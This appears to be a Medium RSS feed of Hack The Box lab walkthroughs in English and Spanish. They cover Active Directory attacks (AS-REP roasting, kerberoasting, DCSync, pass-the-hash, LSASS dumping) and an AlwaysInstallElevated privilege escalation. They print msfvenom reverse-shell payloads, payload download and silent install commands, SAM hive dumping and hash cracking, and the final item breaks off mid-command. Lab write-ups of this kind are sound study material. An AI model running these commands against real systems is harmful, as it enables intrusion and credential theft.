<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Nathanael de Simon on Medium]]></title>
        <description><![CDATA[Stories by Nathanael de Simon on Medium]]></description>
        <link>https://medium.com/@nathanaeldesimon?source=rss-223b14edd883------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*oyS9aacTs9TLrlAM</url>
            <title>Stories by Nathanael de Simon on Medium</title>
            <link>https://medium.com/@nathanaeldesimon?source=rss-223b14edd883------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 22:25:47 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@nathanaeldesimon/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Blackfield HTB — Walkthrough]]></title>
            <link>https://medium.com/@nathanaeldesimon/blackfield-htb-walkthrough-e7f6e781b96d?source=rss-223b14edd883------2</link>
            <guid isPermaLink="false">https://medium.com/p/e7f6e781b96d</guid>
            <category><![CDATA[hack-the-box-walkthrough]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[active-directory-attack]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Nathanael de Simon]]></dc:creator>
            <pubDate>Tue, 07 Oct 2025 20:47:19 GMT</pubDate>
            <atom:updated>2025-10-07T20:47:19.341Z</atom:updated>
            <content:encoded><![CDATA[<h3>Blackfield HTB — Walkthrough</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mvBb_jX5bThinNwjU3-E4g.png" /></figure><p>BlackField is Windows Box with difficulty hard, however I don’t think it is actually hard, it is simply that there are more steps to get to root.</p><p>Nmap scan to start off like always</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rLegxr2DnZpuwcdc5ccm8g.png" /><figcaption>Nmap scan</figcaption></figure><p>This reveals that the host is a Domain Controller. The first thing i do when SMB is open is try default credentials:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OHw9g_Ej-YnbE0iF15-Qhw.png" /><figcaption>Trying default credentials on smb</figcaption></figure><p><em>Its important to always check all 4 combinations:<br>anonymous:anonymous<br>anonymous:&lt;empty&gt;<br>guest:&lt;empty&gt;<br>&lt;empty&gt;:&lt;empty&gt;</em></p><p>From the output we see we have read access to <strong>IPC$</strong> &amp; <strong>profile$</strong> with credentials anonymous:&lt;empty&gt; &amp; guest:&lt;empty&gt;.</p><p>Let’s connect with smbshare and see if we find anything interesting:</p><pre>smbclient -U anonymous  //10.10.10.192/profiles$                                                                          <br>Password for [WORKGROUP\anonymous]:                                                                                           <br>Try &quot;help&quot; to get a list of possible commands.                                                                                <br>smb: \&gt; ls                                                                                                                    <br>  .                                   D        0  Wed Jun  3 17:47:12 2020                                                    <br>  ..                                  D        0  Wed Jun  3 17:47:12 2020                                                    <br>  AAlleni                             D        0  Wed Jun  3 17:47:11 2020                                                    <br>  ABarteski                           D        0  Wed Jun  3 17:47:11 2020                                                    <br>  ABekesz                             D        0  Wed Jun  3 17:47:11 2020                                                    <br>  ABenzies                            D        0  Wed Jun  3 17:47:11 2020                                                    <br>  ABiemiller                          D        0  Wed Jun  3 17:47:11 2020                                                    <br>  AChampken                           D        0  Wed Jun  3 17:47:11 2020                                                    <br>                                                  <br>&lt;SNIP&gt;</pre><p>The profiles$ share reveals a userlist, likely from AD, I put those users in a list and removed everything but the username with mousepad editor, then i tried to use this list to find a user that doesn’t have Kerberos authentication required (AS-REP).</p><pre>nxc ldap 10.10.10.192 -u users -p &#39;&#39; --asreproast asreproast.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EdWRv5md9FUw6t2csR18SA.png" /><figcaption>asreproasting output</figcaption></figure><p>We got a hit for the user support! Let’s see if we can crack the hash with <strong>hashcat:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_t53hVrhXmu1r9df4BSMrw.png" /><figcaption>Hashcat</figcaption></figure><p>Indeed it gets cracked, i’m suprised that was a password in the rockyou.txt wordlist.<br>Let’s quickly confirm access with <strong>NetExec:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HeKL55fjxyKhG48TVxFIzA.png" /><figcaption>Confirming Access</figcaption></figure><p>Then I checked with smbmap if there was anything interesting for this user but didn’t find anything. The next logical thing to do is use <strong>BloodHound</strong> to enumerate the domain, since we now have a domain joined user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eBvAeoMd1nSVwZSMty77GA.png" /><figcaption>BloodHound reveals ForceChangePassword Privilege</figcaption></figure><p>This shows that the user we own SUPPORT has ForceChangePassword privilege over the user AUDIT2020. I used <strong>bloodyAD</strong> to easily change it’s password:</p><pre>bloodyAD --host 10.10.10.192 -u support -p &#39;#00^BlackKnight&#39; set password AUDIT2020 &#39;Password123!&#39;<br>[+] Password changed successfully!</pre><p>Then I checked with smbMap what shares the AUDIT2020 user can access:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WlYtSjr7nbHZ_fAcHvQzDQ.png" /><figcaption>smbmap on audit2020</figcaption></figure><p>This user has access to the forensic share which we didn’t have access before. In the folder memory_analysis there is a LSASS zip file, I downloaded it and unziped it, it revealed a lsass.DMP file.<br>Let’s dump it with pypykatz:</p><pre>pypykatz lsa minidump lsass.DMP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F95HKVloPFzcnBHKo-nqhA.png" /><figcaption>pypykatz output</figcaption></figure><p>We get the NT hash of the svc_backup username, this is normally a high value target! I entered winrm session and got the user hash located in the Desktop.</p><pre>evil-winrm -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d</pre><h3>Next Step: ROOT</h3><p>Checking the privileges reveals that svc_backup has the SeBackupPrivilege</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GntSFbDu2qs_Lpx1oWeZKg.png" /><figcaption>Listing privileges</figcaption></figure><p>This can be abused easily with the NetExec backup_operator module:</p><pre>nxc smb 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d -M backup_operator</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TeH146dw05_eh9OFw1SiUg.png" /><figcaption>Abusing the SeBackupPrivilege with NetExec</figcaption></figure><p>And just like this we get the NT hash of administrator, but it didn’t work with evil-winrm. But in the output there is also a password found for a unknown user, I password sprayed the whole domain with this password and the user-list we made before:</p><pre>nxc smb 10.10.10.192 -u edited-userlist -p &#39;###_ADMIN_3920_###&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bjQnf9im7lKJOZDOZd7cJw.png" /><figcaption>Password Spraying</figcaption></figure><p>We get the Administrator as matching this password!!</p><p>I tried to evil-winrm into the administrator account but didn’t work, also tried psexec.py but nothing. So i used smb to go into the C Directory and get the root flag:</p><pre>smbclient -U Administrator //10.10.10.192/C$</pre><p>In the Desktop there is the root.txt file.</p><p>This for me was a very fun machine and it serves good practice for active directory. It also shows how simple and powerfull BloodyAD and NetExec are. <br>I hope this was usefull to you and thanks for reading :)</p><ul><li>🔗 <a href="https://www.linkedin.com/in/nathanael-de-simon-936a18235/">LinkedIn</a></li><li>🧠 <a href="https://medium.com/@nathanaeldesimon">More writeups</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e7f6e781b96d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Administrator Write-up]]></title>
            <link>https://medium.com/@nathanaeldesimon/htb-administrator-write-up-baba8f340121?source=rss-223b14edd883------2</link>
            <guid isPermaLink="false">https://medium.com/p/baba8f340121</guid>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[kerberoasting]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <dc:creator><![CDATA[Nathanael de Simon]]></dc:creator>
            <pubDate>Wed, 20 Aug 2025 21:29:06 GMT</pubDate>
            <atom:updated>2025-08-25T15:39:01.069Z</atom:updated>
            <content:encoded><![CDATA[<h3>HTB Administrator Write-up 🇪🇸</h3><p><a href="https://medium.com/@nathanaeldesimon/htb-administrator-write-up-01234733eedf">English Version 🏴󠁧󠁢󠁥󠁮󠁧󠁿</a>🔗</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*-9_IkSBVZhRO9BhP2pA03Q.png" /></figure><p>Como siempre, lo primero que hice fue un escaneo con Nmap</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PppNhmN6y8BmxWWpzaElbQ.png" /></figure><p>Esto revela que se trata de un controlador de dominio de Active Directory.</p><p>Dado que la máquina nos proporciona credenciales, comencé con bloodhound-python para recopilar toda la información del dominio y luego la visualicé con BloodHound</p><pre>bloodhound-python -u Olivia -p &#39;ichliebedich&#39; -ns 10.10.11.42 -d administrator.htb -c all</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jhR6HdOp0bKZ5BhH-9X2Pw.png" /><figcaption>bloodhound-python</figcaption></figure><p>En BloodHound no encontré privilegios interesantes de los grupos a los que pertenecemos, pero hay un usuario susceptible a kerberoasting</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MiqQXKf2YU42iy5FQNG0gg.png" /></figure><p>¿Pero a dónde nos puede llevar la cuenta de “Ethan”? La marqué como propiedad y hice clic en “Reachable High Value Targets” en la pestaña de análisis y mostró lo siguiente</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vso4MObUTii9KFU6gA-vwA.png" /></figure><p>Así que si logramos realizar un kerberoasting en esta cuenta, podemos realizar un ataque DCSync, lo que lleva a un compromiso total del dominio, ¡vamos con eso entonces!</p><p>Añadí el dominio a mi archivo /etc/hosts y luego usé NetExec para kerberoasting</p><pre>nxc ldap administrator.htb -u olivia -p &#39;ichliebedich&#39; --kerberoasting olivia.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gYC1GPA48AjJ3Ldjku3SLw.png" /></figure><p>¡Genial! Tenemos el hash krb del usuario “ethan”, ahora a crackearlo con hashcat</p><pre>hashcat olivia.txt /usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YWd1hHyLEaSqaey-Qf73cg.png" /></figure><p>¡Obtenemos la contraseña!</p><p>Ahora tenemos acceso al usuario “ethan”, que tiene privilegios DCSync como vimos antes, usé secretsdump.py para realizar este ataque</p><pre>secretsdump.py administrator/ethan:limpbizkit@10.10.11.42</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fo3aLmVcW7s4vnYDiLHPOQ.png" /></figure><p>¡Funcionó! Luego pasé el hash en evil-winrm para obtener acceso directo a la cuenta de administrador, obteniendo las banderas de usuario y root; podrías obtener la bandera de usuario primero, pero lo hice al revés.</p><pre>evil-winrm -i 10.10.11.42 -u administrator -H 3dc553ce4b9fd20bd016e098d2d2fd2e</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*9rRXpScxrduEVaoykollOg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*l5OWN5NsvbKq0whLcHTPfQ.png" /></figure><p>💡 ¡Gracias por leer! Si encontraste esto útil, considera conectarte conmigo:</p><ul><li>🔗 <a href="https://www.linkedin.com/in/nathanael-de-simon-936a18235/">LinkedIn</a></li><li>🧠 Más <a href="https://medium.com/@nathanaeldesimon">writeups</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=baba8f340121" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Administrator Write-up]]></title>
            <link>https://medium.com/@nathanaeldesimon/htb-administrator-write-up-01234733eedf?source=rss-223b14edd883------2</link>
            <guid isPermaLink="false">https://medium.com/p/01234733eedf</guid>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[kerberoasting]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[htb]]></category>
            <dc:creator><![CDATA[Nathanael de Simon]]></dc:creator>
            <pubDate>Wed, 20 Aug 2025 21:21:36 GMT</pubDate>
            <atom:updated>2025-10-09T10:13:43.519Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://medium.com/@nathanaeldesimon/htb-administrator-write-up-baba8f340121">Spanish Version 🇪🇸🔗</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*-9_IkSBVZhRO9BhP2pA03Q.png" /></figure><p>First thing like always, I started with a Nmap scan</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PppNhmN6y8BmxWWpzaElbQ.png" /></figure><p>This reveals that it is a Active Directory Domain Controller.</p><p>Since the box gives us credentials, I started with bloodhound-python to gather all domain information and then view it with BloodHound</p><pre>bloodhound-python -u Olivia -p &#39;ichliebedich&#39; -ns 10.10.11.42 -d administrator.htb -c all</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jhR6HdOp0bKZ5BhH-9X2Pw.png" /><figcaption>bloodhound-python</figcaption></figure><p>In BloodHound I couldn’t find any interesting privileges from groups we are in but there is a kerberoastable user</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MiqQXKf2YU42iy5FQNG0gg.png" /></figure><p>But where can the “Ethan” account take us? I marked it as owned and clicked the “Reachable High Value Targets” in the analysis tab and it showed the following</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vso4MObUTii9KFU6gA-vwA.png" /></figure><p>So if we manage to kerberoast this account we can perform a DCSync attack, leading to full domain compromise, let’s get on with it then</p><p>I added the domain to my /etc/hosts file, then used NetExec to kerberoast</p><pre>nxc ldap administrator.htb -u olivia -p &#39;ichliebedich&#39; --kerberoasting olivia.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gYC1GPA48AjJ3Ldjku3SLw.png" /></figure><p>Nice! We have the krb hash for the user “ethan”, now to the cracking with hashcat</p><pre>hashcat olivia.txt /usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YWd1hHyLEaSqaey-Qf73cg.png" /></figure><p>We get the password cracked!</p><p>Now we have access to the user “ethan”, which has DCSync privileges as we saw before, I used secretsdump.py to perform this attack</p><pre>secretsdump.py administrator/ethan:limpbizkit@10.10.11.42</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fo3aLmVcW7s4vnYDiLHPOQ.png" /></figure><p>It worked! Now I passed the hash in evil-winrm to get direct access to the administrator account obtaining the user and root flag, you could get the user flag first, but i did it the other way around.</p><pre>evil-winrm -i 10.10.11.42 -u administrator -H 3dc553ce4b9fd20bd016e098d2d2fd2e</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*9rRXpScxrduEVaoykollOg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*l5OWN5NsvbKq0whLcHTPfQ.png" /></figure><p>💡 <em>Thanks for reading! If you found this helpful, consider connecting with me:</em></p><ul><li>🔗 <a href="https://www.linkedin.com/in/nathanael-de-simon-936a18235/">LinkedIn</a></li><li>🧠 <a href="https://medium.com/@nathanaeldesimon">More writeups</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=01234733eedf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Elevación de Privilegios Skill Assessment 2 | Always Install Elevated]]></title>
            <link>https://medium.com/@nathanaeldesimon/htb-elevaci%C3%B3n-de-privilegios-skill-assessment-2-always-install-elevated-3e275e28136c?source=rss-223b14edd883------2</link>
            <guid isPermaLink="false">https://medium.com/p/3e275e28136c</guid>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[htb-walkthrough]]></category>
            <category><![CDATA[alwaysinstallelevated]]></category>
            <category><![CDATA[windows-privilege-esc]]></category>
            <dc:creator><![CDATA[Nathanael de Simon]]></dc:creator>
            <pubDate>Tue, 05 Aug 2025 11:29:13 GMT</pubDate>
            <atom:updated>2025-08-05T11:29:13.595Z</atom:updated>
            <content:encoded><![CDATA[<h4>Tabla de Contenidos</h4><p>- Resumen de la evaluación<br>- Encontrando credenciales en texto claro con winPEAS<br>- Elevando privilegios — Always install Elevated privilege<br>- Dumping los hashes NTLM y crackeo con hashcat<br>- Recomendaciones de seguridad</p><h3>Resumen de la evaluación</h3><p>Como complemento a su prueba de penetración anual, la organización INLANEFREIGHT te ha pedido realizar una revisión de seguridad de su imagen dorada estándar de Windows 10, actualmente en uso por más de 1.200 de sus empleados a nivel mundial. El nuevo CISO está preocupado de que no se siguieron las mejores prácticas al establecer la línea base de la imagen, y puede que haya uno o más vectores de escalada de privilegios locales presentes en la build.</p><h3>Encontrando credenciales en texto claro con winPEAS</h3><blockquote><em>Pregunta 1: “Encuentra credenciales en texto claro para la cuenta de administrador de dominio iamtheadministrator.”</em></blockquote><p>Lo primero que hice fue obtener una shell de meterpreter, ya que mi sesión RDP era muy lenta. Creé un payload de reverse shell con msfvenom y lo ejecuté en el objetivo.</p><p>Luego subí y ejecuté <strong>winPEAS</strong>, lo cual me dio inmediatamente la respuesta a la primera pregunta</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1GJUFZ0qFHKjtKWhzCa4Dg.png" /></figure><h3>Elevando privilegios — Always install Elevated privilege</h3><blockquote><em>Pregunta 2: “Escala privilegios a SYSTEM y envía el contenido del archivo flag.txt en el escritorio del Administrador”</em></blockquote><p>Tuve bastante suerte con esta, ya que la primera enumeración que hice fue comprobar si teníamos este privilegio:</p><pre>PS C:\Users\htb-student&gt; reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer<br>reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer</pre><pre>HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer<br>    AlwaysInstallElevated    REG_DWORD    0x1</pre><pre>PS C:\Users\htb-student&gt; reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer</pre><pre>reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer</pre><pre>HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer<br>    AlwaysInstallElevated    REG_DWORD    0x1</pre><p>Esto muestra que efectivamente está presente.</p><p>Así que primero necesitaba crear un paquete MSI malicioso con msfvenom y alojarlo con el servidor http de python:</p><pre>msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.150 lport=9443 -f msi &gt; aie.msi</pre><pre>python3 -m http.server</pre><p>También inicié netcat para el puerto especificado en el payload (9443):</p><pre>nc -lnvp 9443</pre><p>Ahora, en el Windows objetivo, descargué el paquete msi malicioso:</p><pre>Invoke-WebRequest -Uri &quot;http://10.10.14.150:8000/aie.msi&quot; -Outfile aie.msi</pre><p>Luego lo ejecuté para finalmente obtener una shell SYSTEM en mi listener de netcat:</p><pre>msiexec /i c:\users\htb-student\desktop\aie.msi /quiet /qn /norestart</pre><p>En mi listener de netcat:</p><pre>$ nc -lvnp 9443  <br>listening on [any] 9443 ...<br>connect to [10.10.14.150] from (UNKNOWN) [10.129.43.33] 49681<br>Microsoft Windows [Version 10.0.18363.592]<br>(c) 2019 Microsoft Corporation. All rights reserved.<br><br><br>C:\Windows\system32&gt; type C:\Users\Administrator\Desktop\flag.txt<br>el3vatEd_1nstall$_v3ry_r1sky</pre><h3>Dumping the NTLM hashes y crackeo con hashcat</h3><blockquote><em>Pregunta 3: “Hay 1 usuario local administrador deshabilitado en este sistema con una contraseña débil que podría ser utilizada para acceder a otros sistemas en la red y que vale la pena reportar al cliente. Después de escalar privilegios, obtén el hash NTLM de este usuario y cráquealo offline. Envía la contraseña en texto claro de esta cuenta.”</em></blockquote><p>Ahora que tengo privilegios SYSTEM puedo dumpear los hashes NTLM.</p><p>En la pregunta especifican una cuenta de administrador deshabilitada. Desde mi escaneo previo con winPEAS, podemos ver cuál es esta cuenta (wksadmin):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wRtvuzA4aZt7Qhn_A7elhA.png" /></figure><p>Ahora con lo divertido, primero hice un dump de los hashes NTLM:</p><pre>C:\Users\htb-student\Desktop&gt;reg.exe save hklm\sam C:\sam.save<br>reg.exe save hklm\sam C:\sam.save<br>The operation completed successfully.<br><br>C:\Users\htb-student\Desktop&gt;reg.exe save hklm\system C:\system.save<br>reg.exe save hklm\system C:\system.save<br>The operation completed successfully.<br><br><br>C:\Users\htb-student\Desktop&gt;reg.exe save hklm\security C:\security.save<br>reg.exe save hklm\security C:\security.save<br>The operation completed successfully.</pre><p>Después de transferir estas copias a mi máquina de ataque, pude utilizar secretsdump.py para dumpearlas. (Transferí estos 3 archivos vía RDP porque no me funcionaba transferirlos en la sesión de netcat)</p><pre>$ python3.12 /usr/share/doc/python3-impacket/examples/secretsdump.py -sam sam.save -security security.save -system system.save LOCAL<br>/home/nathan/.local/lib/python3.12/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools&lt;81.<br>  import pkg_resources<br>Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies <br><br>[*] Target system bootKey: 0xfab4b2e32a415ea36f846b9408aa69af<br>[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)<br>Administrator:500:aad3b435b51404eeaad3b435b51404ee:7796ee39fd3a9c3a1844556115ae1a54:::<br>Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::<br>DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::<br>WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:aad797e20ba0675bbcb3e3df3319042c:::<br>mrb3n:1001:aad3b435b51404eeaad3b435b51404ee:7796ee39fd3a9c3a1844556115ae1a54:::<br>htb-student:1002:aad3b435b51404eeaad3b435b51404ee:3c0e5d303ec84884ad5c3b7876a06ea6:::<br>wksadmin:1003:aad3b435b51404eeaad3b435b51404ee:5835048ce94ad0564e29a924a03510ef:::</pre><p>Ahora que tengo el hash NTLM de la cuenta wksadmin, puedo crackearlo con hashcat en modo 1000 de la siguiente manera:</p><pre>hashcat -m 1000 5835048ce94ad0564e29a924a03510ef /usr/share/wordlists/rockyou.txt<br>hashcat (v6.2.6) starting<br><br>Dictionary cache hit:<br>* Filename..: /usr/share/wordlists/rockyou.txt<br>* Passwords.: 14344385<br>* Bytes.....: 139921507<br>* Keyspace..: 14344385<br>5835048ce94ad0564e29a924a03510ef:password1</pre><p>Encontré la contraseña y con esto completé la evaluación.</p><h3>Recomendaciones de seguridad</h3><p>Para evitar vectores de escalada de privilegios como <strong>AlwaysInstallElevated</strong> y la exposición de credenciales en texto claro, se recomienda:</p><p><strong>1. Desactivar AlwaysInstallElevated</strong></p><ul><li>Asegúrate de que la política <strong>AlwaysInstallElevated</strong> esté desactivada tanto en <strong>HKLM</strong> como en <strong>HKCU</strong>:</li></ul><pre>reg add HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 0 /f<br>reg add HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 0 /f</pre><p><strong>2. Eliminar credenciales en texto claro</strong></p><ul><li>Revisa las imágenes base con herramientas como <strong>winPEAS</strong> para asegurarte de que no existan credenciales almacenadas en archivos o registros.</li></ul><p><strong>3. Contraseñas robustas y gestión de cuentas locales</strong></p><ul><li>Establece contraseñas seguras para cuentas locales y deshabilita aquellas que no sean necesarias.</li></ul><p><strong>4. Aplicar el principio de privilegios mínimos</strong></p><ul><li>Limita el acceso a cuentas administrativas sólo a usuarios que lo requieran estrictamente.</li></ul><p>💡 ¡Gracias por leer! Espero que te haya sido útil, y si quieres puedes conectar conmigo:</p><ul><li>🔗 <a href="https://www.linkedin.com/in/nathanael-de-simon-936a18235/">LinkedIn</a></li><li>🧠 <a href="https://medium.com/@nathanaeldesimon">Mas Write-ups</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3e275e28136c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Windows Privilege Escalation 2 Skill Assessment | Always install Elevated privilege]]></title>
            <link>https://medium.com/@nathanaeldesimon/htb-windows-privilege-escalation-2-skill-assessment-always-install-elevated-privilege-2ca799b6a967?source=rss-223b14edd883------2</link>
            <guid isPermaLink="false">https://medium.com/p/2ca799b6a967</guid>
            <category><![CDATA[htb-walkthrough]]></category>
            <category><![CDATA[htb-academy]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[windows-privilege-esc]]></category>
            <dc:creator><![CDATA[Nathanael de Simon]]></dc:creator>
            <pubDate>Sun, 27 Jul 2025 22:14:23 GMT</pubDate>
            <atom:updated>2025-08-07T09:14:10.743Z</atom:updated>
            <content:encoded><![CDATA[<h3>Overview of the assessment</h3><p>As an add-on to their annual penetration test, the INLANEFREIGHT organisation has asked you to perform a security review of their standard Windows 10 gold image build currently in use by over 1,200 of their employees worldwide. The new CISO is worried that best practices were not followed when establishing the image baseline, and there may be one or more local privilege escalation vectors present in the build.</p><h3>Finding cleartext credentials with winPEAS</h3><blockquote><em>Question 1: “Find left behind cleartext credentials for the iamtheadministrator domain admin account.”</em></blockquote><p>First thing I did was get a meterpreter shell, since my rdp session was so slow. I created a reverse shell payload with msfvenom and executed it on the target.</p><p>Then I uploaded and ran <strong>winPEAS </strong>and this gave me straight away the answer to the first question.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1GJUFZ0qFHKjtKWhzCa4Dg.png" /></figure><h3>Elevating privileges — Always install Elevated privilege</h3><blockquote>Question 2: “Escalate privileges to SYSTEM and submit the contents of the flag.txt file on the Administrator Desktop”</blockquote><p>I was quite lucky with this one and the first enumeration I did was to check if we had this privilege</p><pre>PS C:\Users\htb-student&gt; reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer<br>reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer<br><br>HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer<br>    AlwaysInstallElevated    REG_DWORD    0x1<br><br>PS C:\Users\htb-student&gt; reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer<br><br>reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer<br><br>HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer<br>    AlwaysInstallElevated    REG_DWORD    0x1</pre><p>This shows that it is indeed present.</p><p>So first I needed to create a malicious MSI package with msfvenom and host it with python’s http server</p><pre>msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.150 lport=9443 -f msi &gt; aie.msi<br><br>python3 -m http.server</pre><p>Also I started the nc for the specified port in the payload (9443)</p><pre>nc -lnvp 9443</pre><p>Now on the target windows I first downloaded the malicious msi package</p><pre>Invoke-WebRequest -Uri &quot;http://10.10.14.150:8000/aie.msi&quot; -Outfile aie.msi</pre><p>Then executed it to finally get a SYSTEM shell on my netcat listener</p><pre>msiexec /i c:\users\htb-student\desktop\aie.msi /quiet /qn /norestart</pre><p>On my netcat listener:</p><pre>$ nc -lvnp 9443  <br>listening on [any] 9443 ...<br>connect to [10.10.14.150] from (UNKNOWN) [10.129.43.33] 49681<br>Microsoft Windows [Version 10.0.18363.592]<br>(c) 2019 Microsoft Corporation. All rights reserved.<br><br>C:\Windows\system32&gt;<br>C:\Windows\system32&gt; type C:\Users\Administrator\Desktop\flag.txt<br><br>el3vatEd_1nstall$_v3ry_r1sky</pre><h3>Dumping the NTLM hashes &amp; cracking with hashcat</h3><blockquote>Question 3: “There is 1 disabled local admin user on this system with a weak password that may be used to access other systems in the network and is worth reporting to the client. After escalating privileges retrieve the NTLM hash for this user and crack it offline. Submit the cleartext password for this account.”</blockquote><p>Now that I have system privileges I can dump the NTLM hashes.</p><p>In the question they specify a disabled administrator account. From my previous winPEAS scan we see which account this is.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wRtvuzA4aZt7Qhn_A7elhA.png" /></figure><p>Then for the fun part, first I dump the NTLM hashes</p><pre>C:\Users\htb-student\Desktop&gt;reg.exe save hklm\sam C:\sam.save<br>reg.exe save hklm\sam C:\sam.save<br>The operation completed successfully.<br><br>C:\Users\htb-student\Desktop&gt;reg.exe save hklm\system C:\system.save<br>reg.exe save hklm\system C:\system.save<br>The operation completed successfully.<br><br>C:\Users\htb-student\Desktop&gt;reg.exe save hklm\security C:\security.save<br>reg.exe save hklm\security C:\security.save<br>The operation completed successfully.</pre><p>Now after transferring these copies to my attack host I can use <strong>secretsdump.py</strong> to dump them. (I transfered these 3 files with rdp because it wasn’t working in the nc session)</p><pre>$ python3.12 /usr/share/doc/python3-impacket/examples/secretsdump.py -sam sam.save -security security.save -system system.save 